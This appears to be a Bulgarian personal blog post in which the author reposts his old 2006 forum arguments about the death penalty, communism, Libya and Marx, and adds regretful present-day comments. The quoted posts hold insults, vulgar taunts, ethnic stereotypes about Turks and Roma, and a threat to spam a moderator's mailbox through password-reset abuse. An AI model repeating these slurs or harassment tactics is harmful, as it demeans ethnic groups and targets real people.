....и т.н... ще трябва да ти изпиша 200 реда, но ти njama das gi prochetesh, сигурен съм."
ПАК МИНА НА ЛАТИНИЦА!
"Или ако това стане, нищо няма да ти влезне в чугунената глава!"
Мойто момче, аз не съм селски недодялан като тебе, та да имам "чугунена глава" е най-малкото оксиморонно!
"та... българската държава изпълнила ли е всички тези задължения към народа си, който всъщност избира кой да я управлява???????? Не бъди нажул, Гошко!"
НАЖУЛ? Ванго, това нещо от плевенските селски диалекти ли е? Щото малко ги поназнайвам, примерно там вместо ТУК и ТАМ, казват ТУКЕ и ТАМЕ, а пък, вместо КУХНЯ викат МУТФАК (знам, че е от турски).
___________________________________
\"И смяташ, че СМЪРТНАТА ПРИСЪДА ще реши всичко?\"
ТОВА, ЧЕ НЕ РЕШАВА ВСИЧКО, НЕ ЗНАЧИ, ЧЕ НЕ СТРУВА!"
"-Но е излишна. Античовешка, анти логична..."
А НЕ Е ЛИ ИЗЛИШНО ИЗВЕРГЪТ, ДЕТО Е АНТИЧОВЕК И АНТИЛОГИЧЕН ДА ЖИВЕЕ И ДА ТРОВИ ПАК ЖИВОТА НА ХОРАТА? След като преосмислих нещата и вече не подкрепям смъртните присъди, искам да посоча, че всеки античовек (антисоциален) индивид има шанс да се превъзпита в затвора; не е добре с лека ръка да се убиват хора. А и като добавим, че стават грешки и може да бъдат убити невинни... по-добре да се придържаме към ЕСовото тотално противопоставяне на смъртните присъди.
Даже доста спорих с една психоложка по тази тема (тя е за смъртното наказание, а аз съм против.)
-
И пак... много неща са. Голямо писане е било, ех...
"Европа не е вече ваварска сбирщина, мой човек - тя се превръща в една обединена държава, леко-полеко."
КАКВО ПО-ВАРВАРСКО ОТ ТОВА:
а/ Някой членове като Франция още да имат колонии?
б/ Да имат легални проститутки и наркотици?
в/ Да оставят живи най-антихуманните субекти (един вид - да не лекуват болестите)
Е, времето показа, че оварваряването се случи, къде повече, къде по-малко в различни части на Европа (вкл. в Руската), но не само там, за съжаление.
В интерес на истината, не че съм станал "колониалист", но искам да подчертая, че някои колонии са много по-самостоятелни на ниво "население" (като начин на живот, свобода, плурализъм и пр.) от населението на неомонархизираните държави (Русия, Китай, Беларус и т. н.), та зависи за коя колония става дума. Ами, ако говорим за това пък, което е под двоен гнет - например Беларус - хем с монархоподобен несменяем владетел, хем пък и зависими от руския неомонарх, т. е. полуколония на Русия...
За наркотиците - излишно нещо и бич, зло... за проституцията - много по-либерален съм вече и дори признавам, че е наложително да я има, защото с все по-увеличаващият се брой хора страдащи от недоброволен целибат, положението не е леко.
За смъртното наказание - вече писах многократно - против съм и има по-добри методи за справяне с престъпностите.
"Наказанието не е птмъщение!"
А НЕ Е ЛИ ОТМЪЩЕНИЕ ДА ГО СЛОЖИШ ЗА 20 ГОДИНИ ЗАД РЕШЕТКИТЕ И КАТО ИЗЛЕЗНЕ ДА ИЗБИЕ ОЩЕ? Това си е отмъщение срещу собствения народ, ве:)
Ами много прибързано заключение и то повлиян от такива, които го постулират това, без да се позовават на никаква статистика колко, аджеба, от тези убийци лежали 20 години и най-после излезнали на свобода пак тръгнали да стават убийци? Ама не трябва така да си мислим, че всеки е рецидивист!
"Наказанието не е насилие!"
АБЕ ЗНАЕШ ЛИ ДОКАТО СЕ ПРИЛОЖИ КАКВО НАСИЛИЕ ИМА, А И ПО ВРЕМЕ НА ИЗЛЕЖАВАНЕТО НА ПРИСЪДИТЕ КАКВО СТАВА? То се моли да не ти се налага да те наказват по този начин.
(По-сетне понаучих доста - оказа се, че много зависи от конкретния затвор, конкретната полиция... има много големи разлики в отношението, поведението, условията. Не може така отгоре-отгоре да се слагат всичките под общия знаменател!)
"Наказанието е обучение на психиката."
ИЗВИНЯВАЙ, АМА КАТО ТИ ПОРНАТ отвърстието, наречено анално в затвора КАКВО ОБУЧЕНИЕ НА ПСИХИКАТА ЩЕ ИМАШ? Хомосексуално ли? Ти идеализираш възпитателната работа в затворите. Я виж в Абу Гариб какво става!
Визирал съм изнасилванията в затворите, които са наистина проблем на някои места, но, както съм чел, не навсякъде.
А възпитателната работа е най-важното нещо за всеки затвор.
"Със смърта не се постига нищо - смъртта е край на наказанието!"
ВАНГО, моля ти се! Ние още не знаем какво е животът, ти си взел да рефлектираш върху смъртта!
Тук съм си послужил с древнокитайска философия, но Ванго е прав. Сега съм съгласен с него.
"А наказанието трябва да е за цял живот."
Значи, ако те осъдят на 3 години, това трябва да е за цял живот? :)
"Сега откриваш ли логиката за отлагането на смъртната присъда, драги ми кръвожадни Курултаев?"
Ти си кръвожаден, че искаш да стоят престъпниците живи. Ти не искаш обществото да се лекува, а искаш да го кара на палиативни мерки.
Всъщност никога не съм бил кръвожаден и не съм бил "за" смъртно наказание, с оглед на страдание и кръвопролитие, а с оглед да се предпазим от страшните убийци и други, но така или иначе, вече съм по-запознат с нещата и знам, че не е правилно да има такова наказание - най-малкото, защото има невинни хора, обвинени погрешно, както и защото по-голямата част от хората, след като полежат в затвора, не стават рецидивисти. Някои дори само от едно привикване в полицията или прокуратурата се кротват, а други след по-солидна глоба.
-
От 2006-та, с различни хора:
"предишна тема | Всички теми | следваща тема | плосък режим | дървовиден режим |
共产
Wed Mar 1 21:03:12 2006
...
ПАВЕЛЕ, ОПРАВИ СИ МОДЕРАТОРИТЕ НА "ИСТОРИЯ" редактиране | oтговор на това съобщение
1-во бяха ми писали, че Пловдивчанката преотстъпила правата си на 2-ма другари, висящи редовно в Ъ-то и тук.
2-ро сега получавам от нейния профил следният вулгаруизъм:
"pak li zdravo oakvash i opovryshtvash forum istoriq?
Stiga de - mislq che se razbrahme. Vsichki ne mozhem da sme umni kato teb prestani da obijdash horata nalqvo nadqsbo.
Shte se vidq prinudena da te banna"
И това заради Турчинът, който ме праща да ме забременявали в Турция, който твърди, че нямало геноциди срещу народи и пр. свинщини.
Ето защо съм отговорил така:
си Пловдивчанката или си някой от тези с "преотстъпените права"?
Ако не си наясно има един Турчин, дето плюе прабългари, българи и всякакви други.
Иначе виж ме банни заради това говедо, после ще си поиграем на "Забравена парола" и ще има да чистиш пощичката ежедневно. Не ми се иска да ти говоря така, предвид, че по-рано бяхме много любезни един с друг (ако се сещаш аз съм ДАЛАЙ), но това просто на нищо не прилича!
И моля, ако някой няма да каже нещо конструктивно, да не се намесва по темата!"
Грешките на младостта... Наистина много съжалявам, че съм потрошил толкова ценно време да се разправям, да се отбранявам срещу банове (както тогава съм го разбирал - да си самозагуваме времето взаимно, ех, колко непродуктивно, вместо да бях усвоил някое ново умение или да бях вложил времето в бизнеси, спортове... Разбира се, то не се стигна до чак такива преигравания, защото пак на време се осъзнах, но наистина е можело дори и това да се спести!)
"共产
Tue Feb 7 18:26:11 2006
...
КикаС -2, редактиране | oтговор на това съобщение
Я разкажи нещо за ЗАКОННАТА френска монархия: кой и кога гилотинира някого? Как са сега? Още ли са в старите си гробища?
С още малко инфантилни въпроси направи си готов за нивото на КикаС, която си мисли, че някой е на нивото на 5 годишен, а в същото време не вижда, че жената, която не знаеше, че във Варна има рапъри, че стават убийства в България, че през зимите се умира от глад и пр. е нищо повече от пълен дебил, клонящ към имбецилност!
Иначе гледам по заключените теми си споменал някои глупости на 2 от които ще се спра тук:
а/ Да се връщам в Секс и еротика
ЗАЩО? За да чета пак извращенията ти? (Представи си пък, че не ми е приятно да чета как на някой дядка му слагали нещо анално и какви секрети си ближел, за да впечатли жената (то каква ли жена би имала позитивна впечатлителност от това е отделен въпрос, също като този долколко е голям шанса ти, т. е. колко си падат геронтофилки по Френско).
б/ Разрешавал си на модераторите да заключат темите! ТИ КАТО БОГ ЛИ СЕ ИЗЖИВЯВАШ?
_________________________________________________
Пловдивчанката или някой с преотстъпените права ме банна , заради Турчина, който постоянно обижда. Започвам системно да й спамя акаунта. Ако обичаш кажи на Павката да ми върне правата на баннатия акаунт, ако ли не да почна да спамя и него за наказание.
АМАН ОТ ИДИОТЩИНИ- какви българи сте като позволявате Турчина да обижда прабългарите, българите, татарите и Китай, бе?! Че на всичко отгоре и мене ме банвате!
КАКТО ЗНАЕШ имам доста свободно време и ВОЛЯ на комунист, та ще се постарая да съжалява всеки, който подкрепя ЗЛОТО! Може да звучи абстрактно, но разбираш конкретно за какво говоря, нали?
_____________________
"
Както казах - наистина не е било правилно, но съм вярвал, че правя добро по този начин защищавайки паметта на прадедите си и идеите в които вярвам. Наивно съм се надявал, че "ще съжаляват" като им "наспамя" мейлите. ;D то такива "спамове" само с един-два клика се изтриват. Най-правилното е било да напусна веднага, да вложа времето в по-градивни и полезни неща, да мисля повече за собственото си бъдеще, защото, както по-сетне видях, като го закъса човек - никой не помага реално (ако получиш малко духовна подкрепа поне е цяло щастие; жив късмет).
"中共
Thu Mar 23 11:05:16 2006
...
И пак викаш, че съм ненормален?! А ТУРЧИНЕ? И що? Защото не можа да ме накараш да се нарека "ТУРЧИН" ли? Или те е яд, че изгуби всички спорове с мене?! редактиране | oтговор на това съобщение
--------------------------------------------------------------------------------
За всичките тези неща, които съм ти казал СИ ИМА ПРИЧИНА! А тя е, че РЕДОВНО ОБИЖДАШ МЕН, БЪЛГАРИЯ, ПРАБЪЛГАРИТЕ, ПРАРОДИНАТА НИ - КИТАЙ!
"
"Турчинът
Mon Mar 20 20:44:18 2006
...
Отг: Не знам дали Далай
--------------------------------------------------------------------------------
Ми да нормалните Българи винаги са били против жалко че те по време на БКП бяха пасивни заради активните комунистически магарета... Да Татарите нямаха пръст в тая работа щото те също беха жертви...ама ти си тръгнал да възхваляваш репресиите на комунистите...Говориш не свързани неща,,, ти за представител на Татарите ли се смяташ бе пъньо??? Ти да не би да казваш че на Татарите не им сменяли имената? Ей като си спомня те първи бягаха в Турция а в Истанбул повечето ми познати (е така стана) са Татари бе МУХЛЬО...
________
"
Пояснявам, че не възхвалявам никакви репресии и съм против насилието. А за представител - не съм ничий представител. Имам се на първо място за човек, учен, философ, визионер, поет, писател, пацифист и спортист.
"Турчинът
Mon Mar 20 20:32:09 2006
...
Отг: Не знам дали Далай
--------------------------------------------------------------------------------
Да бе Тодор и номенклатурата беха Турци.... Предатели са тези които се направиха от Българи по Българи за да се издигнат в един мухлясал комунистически строй...
А той дървото е бил дете и нищо не е видял и осъзнал щото бил в Либия той и сега е такова...той баща му сигурно казал "бе ние сме татари нас что ни сменяте имената" или не искал да спомни че е от един дол дренки... Сега той ша рече че не е... Е товава къв корав да лапат тука в Османската земя а не в Руската са дошли неговите дядовци ot Krim?
_______________"
Просто по времето на Възродителния процес бяхме в Либия. Идвахме си веднъж в България за кратко и пак обратно в Либия. Спомням си, че на гарата, в София, един жепеец ни пита дали отиваме в Турция, понеже ни видя с много багаж, казахме му, че отиваме в Либия, както си и беше.
Моето лично мнение е, че тази цялата идея със сменянето на имената не беше добра. Дори през онези години и малко по-късно съм казвал, че най-добре е да има някакво правило - да звучат с окончания на български, ако са български граждани - примерно ако е Татарлъ, да е Татарлъев, Татарлъева или Татарлъски, Татарлъска ако е Нгуен да е Нгуенов, Нгуенова... - по този начин е можело, т. е. компромисно: хем хората да си имат идентичността и народностното име, хем и да са удовлетворени управляващите, че си личи, че става дума за български граждани с малцинствен произход. Е, не го направиха така, станаха големи издънки... Е, поне в днешно време този проблем го няма.
"Турчинът
Mon Mar 20 01:19:51 2006
...
Отг: "През 14-ти век България е център на Бай Ганьовска култура!"
--------------------------------------------------------------------------------
Туран той не е Китаец бе той е от нашите рязаните ама е Комунист... нали разбираш рязан Комунист ама недорязан... както недодялан пън...е тия са ни предателите от възродителния той за това е далече сега...
____________"
Простотия някаква - хем констатира, че в онези години съм бил просто дете (ранни тийн-години) и не съм имал никакво участие (дори осъзнаване голямо) какво е ставало, ама хем някакви "предатели" от Възродителния му се привиждат... За рязането (обрязването) - предлагаха ми веднъж, но не приех. Всъщност те и корейците в Южна Корея се обрязват... не ми харесват тези неща... Обаче, който иска - да си се обрязва. Аз само отбелязвам, да не се върже някой на онзи отколешен коментар на някой си турчин или представящ се за такъв.
"Турчинът
Sat Mar 18 20:10:45 2006
...
Отг: И още нещо,
--------------------------------------------------------------------------------
ами тия мацета са хубаво мезе за борчетата... а борчетата си се боричкат от 640 години ежегодно и после борбата ти си им подготвил значи такива естетични развлечения,ами мерси от тяхно име... куманки има ли в рациона?
__________
"
Колко оригинален, а?
"Турчинът
Sat Mar 18 20:15:05 2006
...
Отг: Уйгурите са си уважавани
--------------------------------------------------------------------------------
Ганьо Сомов Куманлийски....
_____________
"
Просто беше от онези, които не могат да смелят, че куманите са главното ядро в етногенеза на татарите. Те даже си говорят на новокумански де факто. Татарските езици, с малки изключения, са си кипчакски (къпчакски), т. е. кумански. Става дума за кипчакските тюркски езици.
"Турчинът
Sat Mar 18 23:10:18 2006
...
Отг: Малко избяга от темата, ама като си рекъл:
--------------------------------------------------------------------------------
Aз от темата никога не съм се отклонявал ако не си дърпал на там...
ти за борчетата хич не се безпокой те са майстори резбари те и твойта резба ша я направят универсална ako трябва така че не безпокой...
Борбата е мъжки спорт и е от както са се появили хората...
да уточня 644. борба в Едирне беше миналата година... е това е култура, спорт и традиция а не комунистически папагал...
Я да видим комунизма коя годишнина ша чества и до къде ша иде ако все още има такъв...
A това е борец мъж а не комунист ката тебе...
_________________"
Някакво много противоречиво възвеличаване на турските борци - хем култура и какво ли не, но хем и манафи ги изкара до един. Абе не беше от акъллиите този.
"Турчинът
Sun Mar 19 17:11:00 2006
...
Отг: Малко избяга от темата, ама като си рекъл:
--------------------------------------------------------------------------------
абе доктори нема ли в тоя форум че да направи диагноза на Далаичо, иначе той сам нема да иде на check up...
____________"
В действителност такива социопатни като този са повече за преглед. ;D
"За баща ми няма да ти отговарям отново, но ще се спра на следните ти глупости:
"Да аз прекалих с отговорите на един ненормален човек"
НЕНОРМАЛЕН СИ ТИ, А НЕ АЗ! ВСЕ ПАК ТИ ТВЪРДИШ, ЧЕ БЪЛГАРИТЕ МАЖЕЛИ КЕНЕФИТЕ С ЛАЙНА И НЕ СИ МИЕЛИ ЗАДНИЦИТЕ, А ТУРЦИТЕ СТЕ БИЛИ ЧИСТИЧКИ!
"който твърди че турците били хомосексуалисти че правили инцест или правели опити дали мъж може да роди."
ТИ САМ КАЗА, ЧЕ ЩЕЛИ СТЕ ДА МИ ПРАВИТЕ РЕЗБАТА "УНИВЕРСАЛНА"! А ПОМНИШ ЛИ СНИМКАТА? А КОМПЛИМЕНТИТЕ ЗА МЪЖА?
"Ама кой нормален човек може да каже такова нещо или кой нормален няма да му отвърне по такъв начин... пак той отива да реве при батковците!!!"
ЗА РЕВАНЕТО - СЪРДИ СЕ НА ГОРСКИЯТ! ТОЙ ПУСНА ТЕМАТА ЗА ЗВЪНЧЕТО, А АЗ ПОКАЗАХ КАК И ТЯ, И ТИ ОБИЖДАТЕ, АМА НЕ СЕ ВЗЕМАТ МЕРКИ СРЕЩУ ВАС!"
Пояснявам, че вече съм против такива лоши стереотипи, загнездили се в съзнанието на много хора - че в Турция преобладават хомосексуалисти и бисексуални. Има си всякакви хора навсякъде и не искам да съм туркофоб, както и никакъв -фоб, включително не съм и хомофоб, макар и да не съм нито туркофил, нито хомофил (или гейофил).
-
Продължавам с 2006-товите, с незабравимия Ванго. Ами много неща са. Голямо писане е било, ех, ех, ех...
"-АЗ НЕ ТИ ЛИ КАЗВАХ НАПРЕДИ, ЧЕ СИ ЖАЛЪК НАЦИСТ, БЕ КУРУЛТАЕВ?"
Е, ЧЕ ВСЕКИ ЛИ, КОЙТО ВИЖДА, ЧЕ ЦИГАНИТЕ ПРАВЯТ ПРОБЛЕМИ И НЕ СЕ ПОДДАВАТ НА КУЛТИВАЦИЯ Е НАЦИСТ? Ами значи, вие - българите, дето ги мразите повече от всеки друг сте до един нацисти, бах мааму му. :)
Пояснявам - не говорим (и не бива да говорим за всички цигани; визираме само тези, които са проблемни.
А за българите, които мразят цигани "повече от всеки друг", става дума, че понеже в повечето държави по света няма толкова цигани, колкото в България (в някои пък въобще няма), та по тази причина, българите (и то не всички) са с един от най-големите проценти на циганофобия. В същото време почти не се срещат българи с японофобия, но японофобията е с високи проценти в Кореите, Китай и др. държави. Просто си зависи кой с кого е имал исторически досег и как са се развили нещата. Много показателно е нивото на русофобия в Украйна и Полша, например, сравнено с това в Сирия и България, например.)
"КАКВА Е ТАЗИ ОМРАЗА?"
Каква омраза има в това да анализираш факт?!
"ТИ СИ НАЦИСТ! "
Ванго се изказва неподготвен. Кажи на пострадалите българи от циганите, че са нацисти, селяндур такъв! В ПЛЕВЕНСКОТО СЕЛО МЕЧКА, ДЕТО ОКРАДОХА И ИЗТЕРОРИХА ТОЛКОВА НАРОД И БЪЛГАРИТЕ СЕ ОПЪЛЧИХА, ДА НЕ СА НАЦИСТИ, БЕ, УМНИК?
Тук пък се има предвид, че противопоставянето на циганската престъпност (както и на всяка друга), не може да се приема за нацизъм.
"(СПОКОЙНО, НЕ СИ ФАШИСТ, ФАШИЗМЪТ НЯМА НИЩО ОБЩО ОТ ИДЕОЛОГИЧЕСКИ ХАРАКТЕР С НАЦИЗМА(КОЕТО Е ЕСТЕСТВЕНО ЧОВЕШКО ЧУВСТВО))"
Не се опитвай да разсъждаваш за политика, не ти отива и подвеждаш хората. Нацизмът бил "естествено човешко чувство"! СМЕШНИК!
\"Комунизъм?...\"
"КАКВО МУ Е ЛОШОТО НА КОМУНИЗМА?"
"-На кой комунизъм?... те са един "бюлюк" чешити..."
ЩЕ СЕ СЕТИШ ТИ... Нали нямаше чешити, а беше само един, бе? ;)
"Ама за поилитиката комунизъм или за философията комунизъм говорим?"
1. Няма философия "комунизъм".
2. Ако искаш да конкретизираме можем да си поговрим за Лаос, Виетнам, Китай и С. Корея. Либия не ми е по сърце.
"Ами социализма, какво? То нали беше първият етап (на всекиму според възможностите)от изграждането на развитото комунистичесо общесво - "на всекиму според потребностите"..."
АМИ ПАК НЕ СИ ДОПРОЧЕЛ! Не беше така!
"Абе чакай, то значи аз, глупакът сега живея в условия на социализъм! То нали СОЦИАЛИСТИЧЕСКАТА ПAРТИЯ НА СAПAТЕРО Е НА ВЛАСТ ТУКА:) АМИ ШВЕЦИЯ? АМИ БЪЛГАРИЯ?...ХАХАХА!"
АМИ И В ИТАЛИЯ ИМА СИЛНА СОЦИАЛИСТИЧЕСКА ОПОЗИЦИЯ, да. Колкото и да беснеете антикомунистите... (но ти си беснеещ антикомунист с марксов фаталистически подход; ти си някакво хибридче, което е неосъзнато).
___________________________________
"Да речем какво е държава, която насилва ООН да приема резолюции, а, ако не стане си инсценира поводи?"
"-И аз не съм съгласен с това насилване за резолюции от страна на янките към ООН, но спомни си, кой победи комунизма в студената война?"
ПАК ИЗКРИВИ ТЕМАТА!!!
КОМУНИЗМЪТ НЕ Е ПОБЕЖДАВАН. СЕТИ СЕ КАКВА ЧАСТ ОТ НАСЕЛЕНИЕТО НА СВЕТА ЖИВЕЕ В КОМУНИЗЪМ:
-Китай
-Виетнам
-Лаос
-С. Корея
-Либия
Това е повече от ЕС и САЩ взети заедно!
(Е, за съжаление, социализмът/комунизмът на повечето места остана само номинален.
____________________________________
"Щото не мислиш."
"-Вярно не мисля! Брей! Ами то какво ти трябва да мислиш, когато фактите са ти факти"
ФАКТИТЕ ЛИ?
-Либия
-Монголия
-ЦРУ
-Диалектиката
-"Световният" строй
-Психологията преди 19 век
-Фабриките на Маркс....
КОИ ОТ ТВОИТЕ "ФАКТИ", малкия?
"и ти просто ги казваш така, както са били."
АБСОЛЮТНО СИ ПРАВ! ТАКА ГИ КАЗВАМ!!!
"Това да ти не философия да ги мислиш...."
ЛЕЛЕ, КОЛКО НЕГРАМОТНО ИЗРЕЧЕНИЕ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
1. Каква е тази инверсия от "Това да не ти е" на "Това да ти не е"?
2. Къде ти е "Е"-то? Писал си "Това да ти не..."
3. Философията не борави ли с фактологии, бе, Ванго недоучилий?
"пък измислиш, нагодиш, обърнеш и то накрая станала друга версия..."
КАТО АДВОКАТИТЕ ЛИ, БЕ? ЗНАЕШ ЛИ КОИ СА БИЛИ ПЪРВИТЕ АДВОКАТИ-ЛЪЖЦИ?
ЕДНИ ФИЛОСОФИ, дето СОКРАТ се е учил от тях. Знаеш ли ги кои са? Не ги знаеш.
"бе георгибакаловски работи!"
БЕ ТОЧНО АДВОКАТСКИ РАБОТИ - "Да знаеш истината, ама да лъжеш прокурора (сиреч - държавата) и да защитаваш бандити!" Не си спомням какво сме говорили за "георгибакаловски работи" (визира се сигурно историка Георги Бакалов (1943-2012), по онова време много говорихме за историята на прабългарите, може и да е било нещо в тази връзка. А може и да е ставало дума за Георги Иванов Бакалов (1873-1939), който е превеждал различни марксистки и комунистически творби.) Тук съм имал предвид, като става дума за адвокатски работи, че има случаи, когато адвокати са напълно наясно, че този, когото защитават е виновен, но се опитват да го изкарат невинен. Вярно е, че "за това им се плаща", но в чисто морален аспект има хора, които не могат да приемат това, колкото и да са за върховенството на закона, правото на защита и т. н., защото влиза в противоречие с личното им разбиране за справедливост - "Виновните не трябва да се изкарват невинни." Натъртил съм на тези неща (адвокат, прокурор), защото той (Ванго) учеше право по онова време и исках да съм в тон с неговите неща.
________________________________________
Аз не я приемам или ти? Пак ще ти повторя:
-Либия / беше \"капиталистическа\", ужким/
"*ЛИБИЯ НЕ Е СОЦИАЛИСТИЧЕСКА, А ИСЛЯМСКА РЕПУБЛИКА! НЯМА НИКАКВА ПРИЛИКА НА ПОЛИТИКАТА В ЛИБИЯ ОТНОСНО ИКОНОМИКА И ВОЕННО ДЕЛО СЪС СОЦИАЛИСТИЧЕСКИТЕ НОРМИ."
Нали вече ти обясних? Хайде пак!
1. Либия е СОЦИАЛИСТИЧЕСКА ДЖАМАХИРИЯ, изповядва ИСЛЯМСКИ СОЦИАЛИЗЪМ.
2. ИКОНОМИКАКАТА НЯМАЛА ОБЩО СЪС СОЦИАЛИСТИЧЕСКИТЕ НОРМИ??? Я ДОКАЖИ!
3. ВОЕННОТО ДЕЛО НЯМАЛО? И какво е военното дело на социалистическите норми?
"ДА ТИ НЕ ГОВОРЯ, ЧЕ ЛИПСВАТ ДОРИ И ПЕТОЛЪЧКИ ПО ДЪРЖАВНИТЕ СИМВОЛИ НА ИСЛЯМСКА ДЖАМАХИРИЯ ЛИБИЯ! НАИВНИК!"
Наивникът не съм аз, а ти, понеже:
а/ Ужким твърдеше, че символите не били важни, а сега се хвана за поредната сламчица, удавнико потъващ в СОБСТВЕНО невежество!
б/ Петолъчките не са символ САМО И ЕДИНСТВЕНО на социализма!
в/ Това е СОЦИАЛИСТИЧЕСКА ДЖАМАХИРИЯ!
Ето ти историята, за да направиш опит за по-добро запомняне:
"1 сентября 1969 группа молодых армейских офицеров во главе с Муаммаром Каддафи свергла режим короля Идриса I. Страна получила название Ливийская Арабская Республика, вся полнота власти перешла к Совету революционного командования. Каддафи руководил страной в соответствии с провозглашенным им принципом ?исламского социализма? и был полон решимости уменьшить зависимость Ливии от иностранного влияния. К 1973 в собственность государства перешел 51% акций всех иностранных нефтяных компаний. Важным шагом явилась национализация розничной сети сбыта нефтепродуктов и газа, а также введение государственной монополии на экспорт нефтепродуктов. По инициативе Каддафи в стране осуществлялся процесс упрочения национального суверенитета: иностранные военные базы были выведены из Ливии, осуществлена национализация иностранного имущества, введен контроль за производством и сбытом нефти. Многие руководящие посты в экономике и других сферах жизни заняли граждане страны. В середине 1970-х годов после ухудшения отношений с Египтом многие египтяне, работавшие в Ливии, были вынуждены ее покинуть.
В 1977 М.Каддафи, занимавший должность генерального секретаря Всеобщего народного конгресса, стал главой государства. В стране активизировались меры по вытеснению частного капитала из розничной и оптовой торговли и ликвидации частного владения недвижимостью. Каддафи провозгласил внешнеполитический курс на оказание активной помощи ?революционным движениям и режимам, противодействующим империализму и колониализму?, и оказывал поддержку международному терроризму. В 1979 он ушел в отставку, заявив о намерении посвятить себя разработке идей ливийской революции. Тем не менее Каддафи по-прежнему оставался ключевой фигурой в политической жизни страны.
"
Та какво за строя и икономиката?
-ЦРУ /нямаха сайт и преписваха от \"Раб. дело\" и \"Дума\", ужким/
"*НЕ СЪМ КАЗВАЛ, ЧЕ ЦРУ НЯМА САЙТ, НЕ УВЪРТАЙ! КАЗАХ, ЧЕ ТЕЗИ ДАННИ , ДЕТО ЦИТИРА, НЕ СА ОТ САЙТА НА ЦРУ. :)"
КАЗА, ЧЕ НЯМАЛО, ПОНЕЖЕ НЕ СИ НАМЕРИЛ! НЕ УВЪРТАЙ! И не се подсмихвай, понеже за онези ДАННИ още не си се произнесъл. Приседнаха ти, както и Монголия с Либия, а?
-Пазарен социализъм/ нямаше такова нещо и Енциклопедия Британика не беше писала за него, ужким/.
*КАЗАХ, ЧЕ Е ПИСАЛО, НО НЕ МИ ГО ОБЯСНЯВАТ ТАМ ТАКА, КАКТО МИ ГО ОБЯСНЯВАШ ТУКА ТИ!
ОООООООООООООО, ВЕЧЕ ПРИЗНА, ЧЕ Е ПИСАНО? Я КАЖИ КАК ТИ ГО ОБЯСНЯВАТ ТАМ? Нали това, според тебе е вид капитализъм, а аз казвам, че не е. Те ТАМ на твоето мнение ли са, селски?
"-Маркс/имаше НЯКОЛКО фабрики, ужким/."
"*АМА ТИ НЕЗНАЕШ ЛИ? ДА СИ ЧУЛ ЗА БЕДЕН ЕВРЕИН-ФИЛОСОФ С 2 ВИСШИ ОБРАЗОВАНИЯ - ЕДНОТО В ЧУЖБИНА, ИЗДАЛ ТОМОВЕ ЛИТЕРАТУРНИ И ФИЛОСОФСКИ ПРОИЗВЕДЕНИЯ, ЧИЙТО БАЩА МОРДЕХАИ ЛЕВИ БИЛ ЕДЪР КАПИТАЛИСТ-ФАБРИКАНТ (ПРИ ЕВРЕИТЕ БАЩИНАТА СОБСТВЕНОСТ СЕ ПРЕДАВА НА СИНОВЕТЕ, А ДО ТОГАВА БИЗНЕСЪТ Е ВИНАГИ ФАМИЛЕН)???????? КУРУЛТАЕВ, НЕ СИ ЧЕЛ ТОВА, КОЕТО ТРЯБВА."
Обявих ти награда от 1000 лева, може да я покачим и на 1000 евро, ако ми намериш поне една биография на Маркс (писана преди да започне нашият спор, понеже всеки като види пари може да хостне нещо тъпо) и да ми докажеш, че АДВОКАТЪТ (баща му) е БИЛ ФАБРИКАНТ, господин Незнайко Наглов!
Колкото повече повтаряш тази несведущност, толкова повече хората си вадят заключенията за нивото ти, което можем да определим като чудовищно ниско.
ИЗБЕРИ СИ НЯКОЯ ЕНЦИКЛОПЕДИЯ И ПРОЧЕТИ ЗА МАРКС, ЗА ДА НЕ ГОВОРИШ ТЪПОТИИ. Обясних ти няколко пъти, че:
- парите ги е имал от юридическите занимания на баща си!
- за да си богат не се искат няколко фабрики
- спонсориран е от Енгелс
- прибягвал е до заложни къщи
- няколко от децата му умират от мизерия
- Диалектиката/ само черно и бяло, ужким/
-Политика/ значела за ВСИЧКО, понеже била \"поли\", ужким/.
*ТОВА НЕ СЪМ ГО КАЗВАЛ
ЛЪЖЕШ! КАЗА ГО! ДАЖЕ И СЕГА СЕ ОБЪРКА КАТО КАЗА, ЧЕ "ПОЛИС", БИЛО "МНОГО".
-Монголия/ не била прескачала капитализма от феодализъм, ужким/
"*ТОВА Е НЕЛЕПОСТ! НИКOЙ НЕ МОЖЕ ДА ПРЕСКАЧА ЦЕЛИ ЕТАПИ ОТ ЧОВЕШКАТА ЕВОЛЮЦИЯ, ДРАГИ! НИМА МОНГОЛЦИТЕ СА ПО-РАЗВИТИ ОТ ОСТАНАЛИТЕ РАСИ И НАРОДИ????"
ФАТАЛИСТЕ! НЯМА ЕТАПИ! Това е фаталистическо мислене, особено, ако ги мислиш като ЗАДЪЛЖИТЕЛНИ!
Не става дума за РАЗВИТОСТ, а за ПОЛИТИКА!
А НЕЛЕПОСТТА Е, ЧЕ ОЩЕ НЕ СИ СЕ УБЕДИЛ (ама какво да се убедиш, ти още си мислиш, че Монголия е социалистическа, та, с други думи, ТИ НАСТОЯЩЕТО НЕ ЗНАЕШ, ЗА ИСТОРИЯ ЛИ ЩЕ МИ ГОВОРИШ?!?!?!?!?!?!?!?!).
ВИЖ ТОВА:
Mongolia the Society - [ 翻译此页 BETA ]The ruling party saw the nation as having leaped directly from feudalism to socialism, bypassing the capitalist stage of development. ... Mongolia's herds of livestock, which outnumbered the human population by at least ten-to-one, ...
www.country-studies.com/mongolia/the-society.html - 8k - 网页快照 - 类似网页
Искаш ли още доказателства? Преди ти посочих мнение на български, сега е на английски, на испански ли искаш?
- Белорусия/ това ти е за домашно!/
*ТИ СЪВСЕМ СЕ ОШАШАВИ..!
Ошашавил си се ти, Ванго, понеже не можа да си спомниш как и защо беше употребена Белорусия и какво ти се доказа с нея. Неудобно ли ти е да си го спомниш или просто не можеш?
_____________________
-
6lyokavitsa. Едно време, понякога, имаше проблеми с кирилизирането, та беше нормално да се пише на шльокавица. Пример с мейл (май от 2007 г.)
ZAGALVIE NA MAILA:
"TI MI EBA PUTKATA MAYNA!"
MAILA:
Zdrasti, "Priyatel" !
Kakto ve4e si vidql v zaglavieto ti napravo me
postavi v polojenie "PETYK"! Kakvo e tova? Ami "Dnes e
petyk i si e ebalo maykata!"- kakto be kazal na
vremeto dqdo ti, ve4na mu pamet!
Tolkova:
-4akane
-nadejdi
-podkrepa
-ilyuzii
-radostno o4akvane...
I NAKRAQ DA ME PREEBE6 PO TOZI NAY-DOLEN, LQV NA4IN?
I VIJ KAKVO , AZ UMI6LENO ZA PRYV PYT 4AKAH 2 DENA
DOKATO TI OTGOVORQ, MIGAR MI PREMINE MALKO QDA, NO NE
PREMINAVA, BE, PAVLINE! NE PREMINAVA I VYZNAMERQVAM DA
TI NAPI6A VSI4KO, KOETO SI MISLQ, ZA DA SPRE6 DA SE
